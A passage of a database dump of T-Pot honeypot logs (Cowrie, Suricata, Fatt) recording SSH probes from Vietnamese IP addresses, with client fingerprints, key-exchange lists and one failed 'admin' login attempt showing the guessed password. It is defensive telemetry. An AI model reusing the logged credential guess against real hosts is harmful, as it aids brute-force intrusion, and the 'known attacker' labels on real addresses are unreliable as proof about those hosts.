"rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "3044d199986d", "@version": "1", "timestamp": "2021-09-20T11:06:58.060218Z", "@timestamp": "2021-09-20T11:06:58.060Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22523	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.070406+03	2021-09-20 14:15:06.323471+03	{"_id": "vQbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ef2667f17182", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:58.070406Z", "@timestamp": "2021-09-20T11:06:58.070Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22524	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:58.078104+03	2021-09-20 14:15:06.32447+03	{"_id": "vgbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "25de37ec5487", "@version": "1", "duration": 3.380631446838379, "timestamp": "2021-09-20T11:06:58.078104Z", "@timestamp": "2021-09-20T11:06:58.078Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22525	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:57.430169+03	2021-09-20 14:15:06.32547+03	{"_id": "1AbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58974, "timestamp": "2021-09-20T11:06:57.430169", "@timestamp": "2021-09-20T11:06:57.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22526	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:58.124294+03	2021-09-20 14:15:06.326471+03	{"_id": "wAbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2af10c41b284", "@version": "1", "duration": 2.5542948246002197, "timestamp": "2021-09-20T11:06:58.124294Z", "@timestamp": "2021-09-20T11:06:58.124Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
22527	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:57.20504+03	2021-09-20 14:15:06.328471+03	{"_id": "1wbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [admin/0l0ctyQh243O63uD] failed", "session": "6872d04b1153", "@version": "1", "password": "0l0ctyQh243O63uD", "username": "admin", "timestamp": "2021-09-20T11:06:57.205040Z", "@timestamp": "2021-09-20T11:06:57.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22528	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:57.8265+03	2021-09-20 14:15:06.329471+03	{"_id": "2QbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3044d199986d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:57.826500Z", "@timestamp": "2021-09-20T11:06:57.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22529	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:58.342979+03	2021-09-20 14:15:06.331471+03	{"_id": "AgbjAnwBvYTbRNuEPAVL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 266581830607279, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 38348, "dest_port": 22, "timestamp": "2021-09-20T11:06:58.342979Z", "@timestamp": "2021-09-20T11:06:58.342Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22530	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:59.346563+03	2021-09-20 14:15:06.33247+03	{"_id": "gAbjAnwBvYTbRNuEQQWm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:48902 (192.168.176.2:22) [session: 907cfc66644a]", "session": "907cfc66644a", "@version": "1", "protocol": "ssh", "src_port": 48902, "dest_port": 22, "timestamp": "2021-09-20T11:06:59.346563Z", "@timestamp": "2021-09-20T11:06:59.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22531	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:59.291386+03	2021-09-20 14:15:06.333471+03	{"_id": "ewbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "31847e4bc254", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:59.291386Z", "@timestamp": "2021-09-20T11:06:59.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
22533	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:59.824343+03	2021-09-20 14:15:06.33547+03	{"_id": "fgbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9d8dc00085e5", "@version": "1", "timestamp": "2021-09-20T11:06:59.824343Z", "@timestamp": "2021-09-20T11:06:59.824Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22534	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.076782+03	2021-09-20 14:15:06.337472+03	{"_id": "fwbjAnwBvYTbRNuEQQWh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "edb62f6149f3", "@version": "1", "duration": 4.453653335571289, "timestamp": "2021-09-20T11:07:00.076782Z", "@timestamp": "2021-09-20T11:07:00.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22535	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:00.73101+03	2021-09-20 14:15:06.338472+03	{"_id": "jgbjAnwBvYTbRNuERAUd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1880559673601878, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52738, "dest_port": 22, "timestamp": "2021-09-20T11:07:00.731010Z", "@timestamp": "2021-09-20T11:07:00.731Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22536	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:00.209516+03	2021-09-20 14:15:06.34047+03	{"_id": "ngbjAnwBvYTbRNuERQWH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:37880 (192.168.176.2:22) [session: 4bb4e49e1dc7]", "session": "4bb4e49e1dc7", "@version": "1", "protocol": "ssh", "src_port": 37880, "dest_port": 22, "timestamp": "2021-09-20T11:07:00.209516Z", "@timestamp": "2021-09-20T11:07:00.209Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22537	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:00.803485+03	2021-09-20 14:15:06.34147+03	{"_id": "lQbjAnwBvYTbRNuERQWG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "53e384f69b66", "@version": "1", "timestamp": "2021-09-20T11:07:00.803485Z", "@timestamp": "2021-09-20T11:07:00.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
22538	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:01.967076+03	2021-09-20 14:15:06.34247+03	{"_id": "tgbjAnwBvYTbRNuESQVu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:50178 (192.168.176.2:22) [session: bb19f410fe9e]", "session": "bb19f410fe9e", "@version": "1", "protocol": "ssh", "src_port": 50178, "dest_port": 22, "timestamp": "2021-09-20T11:07:01.967076Z", "@timestamp": "2021-09-20T11:07:01.967Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
